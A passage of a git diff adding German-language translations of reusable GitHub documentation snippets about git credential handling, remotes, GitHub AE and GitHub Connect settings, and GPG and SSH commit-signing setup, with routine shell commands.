+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101759"
+---
+Nachdem du ein Gist erstellt hast, kannst du es nicht von {% ifversion ghae %}intern{% else %}öffentlich{% endif %} in „geheim“ konvertieren.
diff --git a/translations/de-DE/data/reusables/git/cache-on-repository-path.md b/translations/de-DE/data/reusables/git/cache-on-repository-path.md
new file mode 100644
index 0000000000..f062cec241
--- /dev/null
+++ b/translations/de-DE/data/reusables/git/cache-on-repository-path.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 8f9c0319dfa66a628e65b010502957e3edc3a55b
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147687139"
+---
+1. Wenn du Git so konfigurieren möchtest, dass Anmeldeinformationen für jedes lokale Verzeichnis zwischengespeichert werden, in dem du ein Repository klonst, gib den folgenden Befehl ein.
+
+   ```shell{:copy}
+   git config --global credential.useHttpPath true
+   ```
diff --git a/translations/de-DE/data/reusables/git/clear-stored-gcm-credentials.md b/translations/de-DE/data/reusables/git/clear-stored-gcm-credentials.md
new file mode 100644
index 0000000000..6fa0bbd44e
--- /dev/null
+++ b/translations/de-DE/data/reusables/git/clear-stored-gcm-credentials.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: d3c24efda5781a5a7cf1416815fa6d0e5bea8343
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147687166"
+---
+- Wenn die Ausgabe `manager-core` lautet, verwendest du Git Credential Manager. Um die Anmeldeinformationen zu löschen, führe den folgenden Befehl aus.
+
+    ```shell{:copy}
+    git credential-manager reject https://github.com
+    ```
diff --git a/translations/de-DE/data/reusables/git/clear-the-stored-credentials.md b/translations/de-DE/data/reusables/git/clear-the-stored-credentials.md
new file mode 100644
index 0000000000..706fff459c
--- /dev/null
+++ b/translations/de-DE/data/reusables/git/clear-the-stored-credentials.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 59669e070f17d2864a9206789c227c70217c06f5
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147687183"
+---
+1. Wenn die Ausgabe bestätigt, dass du einen Anmeldeinformations-Manager verwendest, deaktiviere die gespeicherten Anmeldeinformationen für den Anmeldeinformations-Manager.
diff --git a/translations/de-DE/data/reusables/git/commit-file.md b/translations/de-DE/data/reusables/git/commit-file.md
new file mode 100644
index 0000000000..ef7c53d4b3
--- /dev/null
+++ b/translations/de-DE/data/reusables/git/commit-file.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a0908a257a3333333ac119f1732e0b937c4f180f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101756"
+---
+1. Committe die Datei, die Du in Deinem lokalen Repository vorgemerkt hast.
diff --git a/translations/de-DE/data/reusables/git/git-push.md b/translations/de-DE/data/reusables/git/git-push.md
new file mode 100644
index 0000000000..58c2a216e0
--- /dev/null
+++ b/translations/de-DE/data/reusables/git/git-push.md
@@ -0,0 +1,5 @@
+1. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.location.product_location %}.
+  ```shell
+  $ git push origin YOUR_BRANCH
+  # Pushes the changes in your local repository up to the remote repository you specified as the origin
+  ```
diff --git a/translations/de-DE/data/reusables/git/no-credential-manager.md b/translations/de-DE/data/reusables/git/no-credential-manager.md
new file mode 100644
index 0000000000..a24ee63f51
--- /dev/null
+++ b/translations/de-DE/data/reusables/git/no-credential-manager.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: af8f3c7c0c5378080257097644571e8a0d04a840
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109329"
+---
+- Wenn die Ausgabe nicht den Namen eines Anmeldeinformations-Managers enthält, ist kein Anmeldeinformations-Manager konfiguriert, und du kannst mit dem nächsten Schritt fortfahren.
diff --git a/translations/de-DE/data/reusables/git/open-terminal.md b/translations/de-DE/data/reusables/git/open-terminal.md
new file mode 100644
index 0000000000..453d93b933
--- /dev/null
+++ b/translations/de-DE/data/reusables/git/open-terminal.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 20b00bbad6e631b75f674b281256f08dc8b81aa6
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147687138"
+---
+1. Öffne das Terminal.
diff --git a/translations/de-DE/data/reusables/git/provide-credentials.md b/translations/de-DE/data/reusables/git/provide-credentials.md
new file mode 100644
index 0000000000..613014fb92
--- /dev/null
+++ b/translations/de-DE/data/reusables/git/provide-credentials.md
@@ -0,0 +1,3 @@
+1. The first time that you use Git to clone a repository or access data in a repository that you've already cloned, Git will request credentials. Provide the {% data variables.product.pat_generic %} for the account with access to the repository.
+
+   Git will cache the {% data variables.product.pat_generic %} for the directory you're in, and you'll be able to access and write repository data on {% data variables.location.product_location %} using the correct account.
diff --git a/translations/de-DE/data/reusables/git/remove-git-remote.md b/translations/de-DE/data/reusables/git/remove-git-remote.md
new file mode 100644
index 0000000000..9341eba357
--- /dev/null
+++ b/translations/de-DE/data/reusables/git/remove-git-remote.md
@@ -0,0 +1,18 @@
+---
+ms.openlocfilehash: b11001db7ae2d9d7faa953bac8271282b136eee6
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101747"
+---
+1. Mit Hilfe der Befehlszeile entfernst Du alle Git Remoteelemente, die derzeit für das Repository konfiguriert sind.
+
+  ```shell
+  # Show existing remotes
+  $ git remote -v
+  > origin  git@git-server/octocat/hello-world.git (fetch)
+  > origin  git@git-server/octocat/hello-world.git (push)
+  # Remove existing remotes
+  $ git remote remove origin
+  ```
diff --git a/translations/de-DE/data/reusables/git/reset-head-to-previous-commit-codeblock.md b/translations/de-DE/data/reusables/git/reset-head-to-previous-commit-codeblock.md
new file mode 100644
index 0000000000..2406290187
--- /dev/null
+++ b/translations/de-DE/data/reusables/git/reset-head-to-previous-commit-codeblock.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 59747684c5d145ac210455bb0f03f77f3a4666ce
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101740"
+---
+Verwende zum Entfernen dieses Commits und zum Ändern der Datei den Befehl „git reset --soft HEAD~1“ und committe und füge die Datei erneut hinzu.
diff --git a/translations/de-DE/data/reusables/git/stage_for_commit.md b/translations/de-DE/data/reusables/git/stage_for_commit.md
new file mode 100644
index 0000000000..c87b46e3e5
--- /dev/null
+++ b/translations/de-DE/data/reusables/git/stage_for_commit.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 088612e73d5a3d1bb06149fe1b03ed463935d2e3
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101735"
+---
+1. Merke die Datei für den Commit zu Deinem lokalen Repository vor.
diff --git a/translations/de-DE/data/reusables/git/unstage-codeblock.md b/translations/de-DE/data/reusables/git/unstage-codeblock.md
new file mode 100644
index 0000000000..cdba4b3635
--- /dev/null
+++ b/translations/de-DE/data/reusables/git/unstage-codeblock.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 19c7f8d934ef091315e645955f8c31ef44a108d4
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876774"
+---
+Um das Staging einer Datei aufzuheben, verwende „git reset HEAD <em>IHRE-DATEI</em>“.
diff --git a/translations/de-DE/data/reusables/github-ae/about-billing.md b/translations/de-DE/data/reusables/github-ae/about-billing.md
new file mode 100644
index 0000000000..b9be547d05
--- /dev/null
+++ b/translations/de-DE/data/reusables/github-ae/about-billing.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5cee56f4d4630584aa2c13c40733652eeaa8eb42
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101731"
+---
+Du erhältst eine monatliche Abrechnung für {% data variables.product.prodname_ghe_managed %}, wobei die Gebühren pro lizenziertem Benutzer pro Tag berechnet werden.
diff --git a/translations/de-DE/data/reusables/github-ae/github-ae-enables-you.md b/translations/de-DE/data/reusables/github-ae/github-ae-enables-you.md
new file mode 100644
index 0000000000..3196d0e163
--- /dev/null
+++ b/translations/de-DE/data/reusables/github-ae/github-ae-enables-you.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 66aee735029e4e785a8945aeb0361d62f105721d
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147885003"
+---
+{% data variables.product.prodname_ghe_managed %} ermöglicht es Ihnen, Ihre DevOps-Workload in die Cloud zu verschieben und gleichzeitig strenge Sicherheits- und Complianceanforderungen zu erfüllen.
diff --git a/translations/de-DE/data/reusables/github-ae/initialize-enterprise.md b/translations/de-DE/data/reusables/github-ae/initialize-enterprise.md
new file mode 100644
index 0000000000..eb736b771a
--- /dev/null
+++ b/translations/de-DE/data/reusables/github-ae/initialize-enterprise.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 67c9e3c12f604722e2f1bafb971d88d76ded17b0
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145101723"
+---
+Nachdem du {% data variables.product.product_name %} erworben hast, wirst du gebeten, eine E-Mail-Adresse und einen Benutzernamen für die Person anzugeben, die das Unternehmen initialisieren soll. Dein dedizierter technischer Kontomanager in {% data variables.contact.enterprise_support %} erstellt ein Konto für den Unternehmensbesitzer und sendet diesem eine E-Mail, damit er sich bei {% data variables.product.product_name %} anmeldet und die Initialisierung abschließt.
diff --git a/translations/de-DE/data/reusables/github-ae/saml-idp-table.md b/translations/de-DE/data/reusables/github-ae/saml-idp-table.md
new file mode 100644
index 0000000000..e9b93f5b6e
--- /dev/null
+++ b/translations/de-DE/data/reusables/github-ae/saml-idp-table.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: 8afd93954b55495a93b01ca1ed2c0a58946ffbd5
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109326"
+---
+{% ifversion ghae %}
+
+IdP | SAML | Benutzerbereitstellung | Teamzuordnung| 
+--- | --- | ---------------- | --------- |
+[Azure Active Directory (Azure AD)](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad) | {% octicon "check-circle-fill" aria-label="The check icon" %} | {% octicon "check-circle-fill" aria-label="The check icon" %}| {% octicon "check-circle-fill" aria-label="The check icon" %} |
+[Okta](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta) | {% octicon "check-circle-fill" aria-label="The check icon" %}[<sup>Beta</sup>](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)| {% octicon "check-circle-fill" aria-label="The check icon" %}[<sup>Beta</sup>](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)| {% octicon "check-circle-fill" aria-label= "The check icon" %}[<sup>Beta</sup>](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams) |
+
+{% endif %}
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/github-connect/access-dotcom-and-enterprise.md b/translations/de-DE/data/reusables/github-connect/access-dotcom-and-enterprise.md
new file mode 100644
index 0000000000..e42b0e203b
--- /dev/null
+++ b/translations/de-DE/data/reusables/github-connect/access-dotcom-and-enterprise.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 084dbece6f80f6d0fe997d910376dd4b3bdcb969
+ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883868"
+---
+1. Melde dich bei {% ifversion ghes %}{% data variables.product.prodname_ghe_server %}{% else %}{% data variables.product.prodname_ghe_managed %}{% endif %} und {% data variables.product.prodname_dotcom_the_website %} an.
diff --git a/translations/de-DE/data/reusables/github-connect/access-profile-settings.md b/translations/de-DE/data/reusables/github-connect/access-profile-settings.md
new file mode 100644
index 0000000000..79fea6499e
--- /dev/null
+++ b/translations/de-DE/data/reusables/github-connect/access-profile-settings.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 6ae89eb5e8463207a4c3aaa1d72d054d8178804a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145101711"
+---
+1. Klicke auf {% ifversion ghes %}{% data variables.product.prodname_ghe_server %}{% else %}{% data variables.product.prodname_ghe_managed %}{% endif %} in der oberen rechten Ecke einer beliebigen Seite auf dein Profilfoto, und klicke dann auf **Einstellungen**.
+   ![Symbol „Einstellungen“ auf der Benutzerleiste](/assets/images/help/settings/userbar-account-settings.png)
diff --git a/translations/de-DE/data/reusables/github-connect/authorize-connection.md b/translations/de-DE/data/reusables/github-connect/authorize-connection.md
new file mode 100644
index 0000000000..8714aae021
--- /dev/null
+++ b/translations/de-DE/data/reusables/github-connect/authorize-connection.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 3b6719461cca4f340ca5d665a354a1299df0feed
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145101707"
+---
+1. Überprüfe die Ressourcen, auf die {% data variables.product.product_name %} von deinem {% data variables.product.prodname_dotcom_the_website %}-Konto zugreift, und klicke anschließend auf **Autorisieren**.
+{% ifversion ghes %} ![Autorisieren der Verbindung zwischen {% data variables.product.prodname_ghe_server %} und {% data variables.product.prodname_dotcom_the_website %}](/assets/images/help/settings/authorize-ghe-to-connect-to-dotcom.png) {% elsif ghae %} ![Autorisieren der Verbindung zwischen {% data variables.product.prodname_ghe_managed %} und {% data variables.product.prodname_dotcom_the_website %}](/assets/images/enterprise/github-ae/settings/authorize-ghae-to-connect-to-dotcom.png) {% endif %}
diff --git a/translations/de-DE/data/reusables/github-connect/beta.md b/translations/de-DE/data/reusables/github-connect/beta.md
new file mode 100644
index 0000000000..610340b4d0
--- /dev/null
+++ b/translations/de-DE/data/reusables/github-connect/beta.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: f7af233e2e1978d1ecda7c29a59f811eb5c21689
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101699"
+---
+{% ifversion ghae %} {% note %}
+
+**Hinweis**: {% data variables.product.prodname_github_connect %} für {% data variables.product.product_name %} befindet sich derzeit in der Betaphase und kann noch geändert werden.
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/github-connect/connect-dotcom-and-enterprise.md b/translations/de-DE/data/reusables/github-connect/connect-dotcom-and-enterprise.md
new file mode 100644
index 0000000000..0883f7ff49
--- /dev/null
+++ b/translations/de-DE/data/reusables/github-connect/connect-dotcom-and-enterprise.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: b646c1b422d1e50de0ad36dbd6784dd3f805f044
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101696"
+---
+1. Klicke auf **Mit {% data variables.product.prodname_dotcom_the_website %} verbinden**.
+{% ifversion ghes %} ![Herstellen einer Verbindung mit GitHub.com über die GitHub Enterprise-Servereinstellungen](/assets/images/help/settings/github.com_end_user_connection.png) {% else %} ![Herstellen einer Verbindung mit GitHub.com über die GitHub AE-Einstellungen](/assets/images/enterprise/github-ae/settings/github.com-end-user-connection.png) {% endif %}
diff --git a/translations/de-DE/data/reusables/github-connect/connection-port-protocol.md b/translations/de-DE/data/reusables/github-connect/connection-port-protocol.md
new file mode 100644
index 0000000000..602a50f6a7
--- /dev/null
+++ b/translations/de-DE/data/reusables/github-connect/connection-port-protocol.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3492d399c754d53fea2091a08c95b212455a8e18
+ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: "148160769"
+---
+Die Verbindung verwendet HTTPS über die Ports 443 oder 80 und wird durch TLS gesichert.
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/github-connect/github-connect-tab-user-settings.md b/translations/de-DE/data/reusables/github-connect/github-connect-tab-user-settings.md
new file mode 100644
index 0000000000..889c838886
--- /dev/null
+++ b/translations/de-DE/data/reusables/github-connect/github-connect-tab-user-settings.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: c7ac7d11d16c73030f156d758fb76c9c0be2c629
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101692"
+---
+1. Klicke auf der linken Randleiste auf **{% data variables.product.prodname_github_connect %}** .
+   ![Registerkarte „GitHub Connect“ in der Randleiste mit Benutzereinstellungen](/assets/images/help/settings/github-connect-tab-user-settings.png)
diff --git a/translations/de-DE/data/reusables/github-connect/send-contribution-counts-to-githubcom.md b/translations/de-DE/data/reusables/github-connect/send-contribution-counts-to-githubcom.md
new file mode 100644
index 0000000000..ca35da96ef
--- /dev/null
+++ b/translations/de-DE/data/reusables/github-connect/send-contribution-counts-to-githubcom.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 4da530bde31c6791d4e589415159ba4dad64d48f
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879841"
+---
+1. Wähle unter „Beiträge“ die Option **Anzahl meiner Beiträge an {% data variables.product.prodname_dotcom_the_website %} senden** aus und klicke dann auf **Beiträge aktualisieren.** 
+   ![Kontrollkästchen zum Senden von Beiträgen und Schaltfläche zum Aktualisieren von Beiträgen](/assets/images/help/settings/send-and-update-contributions.png)
diff --git a/translations/de-DE/data/reusables/github-connect/sync-frequency.md b/translations/de-DE/data/reusables/github-connect/sync-frequency.md
new file mode 100644
index 0000000000..f6097b9b15
--- /dev/null
+++ b/translations/de-DE/data/reusables/github-connect/sync-frequency.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5bc00dee93b2e56a23c53f2cea4b12d09140c007
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145101684"
+---
+{% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% elsif ghes or ghae %}{% data variables.product.product_name %}{% endif %} sendet stündlich Updates.
diff --git a/translations/de-DE/data/reusables/gpg/configure-ssh-signing.md b/translations/de-DE/data/reusables/gpg/configure-ssh-signing.md
new file mode 100644
index 0000000000..74eaa4c2af
--- /dev/null
+++ b/translations/de-DE/data/reusables/gpg/configure-ssh-signing.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 0a0e572422bee311ca8adb2b40c81a00907c0dfb
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109622"
+---
+1. Konfiguriere Git zur Verwendung von SSH zum Signieren von Commits und Tags:
+  ```bash
+  $ git config --global gpg.format ssh
+  ```
diff --git a/translations/de-DE/data/reusables/gpg/copy-gpg-key-id.md b/translations/de-DE/data/reusables/gpg/copy-gpg-key-id.md
new file mode 100644
index 0000000000..fbf1cec03f
--- /dev/null
+++ b/translations/de-DE/data/reusables/gpg/copy-gpg-key-id.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 477b5d6f7f1c0d856473991c1cc3f7cf3b52dab9
+ms.sourcegitcommit: 219fb805abddaef3e5547638bd798da890020bfd
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147869443"
+---
+1. Kopiere aus der Liste der GPG-Schlüssel die lange Form der GPG-Schlüssel-ID, die du verwenden möchtest. In diesem Beispiel lautet die GPG-Schlüssel-ID `3AA5C34371567BD2`:
+    ```shell{:copy}
+  $ gpg --list-secret-keys --keyid-format=long
+  /Users/hubot/.gnupg/secring.gpg
+  ------------------------------------
+  sec   4096R/3AA5C34371567BD2 2016-03-10 [expires: 2017-03-10]
+  uid                          Hubot <hubot@example.com>
+  ssb   4096R/42B317FD4BA89E7A 2016-03-10
+ ```
diff --git a/translations/de-DE/data/reusables/gpg/copy-ssh-public-key.md b/translations/de-DE/data/reusables/gpg/copy-ssh-public-key.md
new file mode 100644
index 0000000000..c204d6fa2a
--- /dev/null
+++ b/translations/de-DE/data/reusables/gpg/copy-ssh-public-key.md
@@ -0,0 +1,46 @@
+---
+ms.openlocfilehash: a707921d4c8f6afa3ce5e59e2d58180ecb38d29e
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147653424"
+---
+1. Kopiere den öffentlichen SSH-Schlüssel in die Zwischenablage.
+
+  Wenn die Datei mit Deinem öffentlichen SSH-Schlüssel einen anderen Namen hat als die Datei im Beispielcode, passe den Dateinamen im Code entsprechend an. Achte beim Kopieren des Schlüssels darauf, keine neuen Zeilen oder Leerzeichen hinzuzufügen.
+{% mac %}
+
+  ```shell
+  $ pbcopy &lt; ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}.pub
+  # Copies the contents of the id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}.pub file to your clipboard
+  ```
+
+  {% tip %}
+
+  **Tipp:** Wenn `pbcopy` nicht funktioniert, kannst Du den ausgeblendeten Ordner `.ssh` suchen, die Datei in Deinem bevorzugten Text-Editor öffnen und in die Zwischenablage kopieren.
+
+  {% endtip %} {% endmac %} {% windows %}
+
+  ```shell
+  $ clip &lt; ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}.pub
+  # Copies the contents of the id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}.pub file to your clipboard
+  ```
+
+  {% tip %}
+
+  **Tipp:** Wenn `clip` nicht funktioniert, kannst Du den ausgeblendeten Ordner `.ssh` suchen, die Datei in Deinem bevorzugten Text-Editor öffnen und in die Zwischenablage kopieren.
+
+  {% endtip %} {% endwindows %} {% linux %}
+
+  ```shell
+  $ cat ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}.pub
+  # Then select and copy the contents of the id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}.pub file
+  # displayed in the terminal to your clipboard
+  ```
+
+  {% tip %}
+
+  **Tipp:** Alternativ kannst Du den ausgeblendeten Ordner `.ssh` suchen, die Datei in Deinem bevorzugten Text-Editor öffnen und in die Zwischenablage kopieren.
+
+  {% endtip %} {% endlinux %}
diff --git a/translations/de-DE/data/reusables/gpg/desktop-support-for-commit-signing.md b/translations/de-DE/data/reusables/gpg/desktop-support-for-commit-signing.md
new file mode 100644
index 0000000000..68883370cf
--- /dev/null
+++ b/translations/de-DE/data/reusables/gpg/desktop-support-for-commit-signing.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 025f8d3f6ccaaad7cd744115d1a3f96a1a7fb869
+ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883553"
+---
+{% note %}
+
+**Hinweis**: [GitHub Desktop](https://desktop.github.com/) unterstützt nur die Commitsignierung, wenn Ihr Git-Client standardmäßig zum Signieren von Commits konfiguriert ist.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/gpg/list-keys-with-note.md b/translations/de-DE/data/reusables/gpg/list-keys-with-note.md
new file mode 100644
index 0000000000..3211377eaa
--- /dev/null
+++ b/translations/de-DE/data/reusables/gpg/list-keys-with-note.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: 85c4e104344284797c4fc047569b99657a08d342
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147694224"
+---
+1. Verwende den Befehl `gpg --list-secret-keys --keyid-format=long`, um die Langform der GPG-Schlüssel aufzulisten, für die du sowohl über einen öffentlichen als auch einen privaten Schlüssel verfügst. Zum Signieren von Commits oder Tags ist ein privater Schlüssel erforderlich.
+
+   ```shell{:copy}
+   $ gpg --list-secret-keys --keyid-format=long
+   ```
+   
+   {% note %}
+
+   **Hinweis**: Bei einigen GPG-Installationen unter Linux musst du möglicherweise stattdessen `gpg2 --list-keys --keyid-format LONG` verwenden, um eine Liste einer vorhandenen Schlüssel anzuzeigen. In diesem Fall musst du auch Git für die Verwendung von `gpg2` konfigurieren, indem du `git config --global gpg.program gpg2` ausführst.
+
+   {% endnote %}
diff --git a/translations/de-DE/data/reusables/gpg/paste-gpg-key-id.md b/translations/de-DE/data/reusables/gpg/paste-gpg-key-id.md
new file mode 100644
index 0000000000..a4881704a0
--- /dev/null
+++ b/translations/de-DE/data/reusables/gpg/paste-gpg-key-id.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 36346b397ec99040cea0b0ebd45a65d22352c865
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147614199"
+---
+1. Um deinen primären GPG-Signaturschlüssel in Git festzulegen, fügst du unten den entsprechenden Text ein, also die ID des primären GPG-Schlüssels, den du verwenden möchtest. In diesem Beispiel lautet die GPG-Schlüssel-ID `3AA5C34371567BD2`:
+   ```shell
+   $ git config --global user.signingkey <em>3AA5C34371567BD2</em>
+   ```
+   
+   Alternativ kannst du beim Festlegen eines Unterschlüssels das `!`-Suffix anfügen. In diesem Beispiel lautet die GPG-Unterschlüssel-ID `4BB6D45482678BE3`:
+   ```shell
+   $ git config --global user.signingkey <em>4BB6D45482678BE3</em>!
+   ```
diff --git a/translations/de-DE/data/reusables/gpg/paste-ssh-public-key.md b/translations/de-DE/data/reusables/gpg/paste-ssh-public-key.md
new file mode 100644
index 0000000000..b21a549753
--- /dev/null
+++ b/translations/de-DE/data/reusables/gpg/paste-ssh-public-key.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 6dfaad4dc9dc813104183b2c9db41e480c9b27fb
+ms.sourcegitcommit: 0a6e3eee6eea9b1e445aea1e4461d64cf6b63218
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/14/2022
+ms.locfileid: "148163577"
+---
+1. Um deinen SSH-Signaturschlüssel in Git festzulegen, füge den folgenden Text ein und ersetze **/PATH/TO/KEY.PUB** durch den Pfad zu dem öffentlichen Schlüssel, den du verwenden möchtest.
+  ```bash
+  $ git config --global user.signingkey /PATH/TO/.SSH/KEY.PUB
diff --git a/translations/de-DE/data/reusables/gpg/private-email.md b/translations/de-DE/data/reusables/gpg/private-email.md
new file mode 100644
index 0000000000..61d0021c98
--- /dev/null
+++ b/translations/de-DE/data/reusables/gpg/private-email.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: e9d035ff2cfe63ced768eebbacdfb0ba3facca9d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101667"
+---
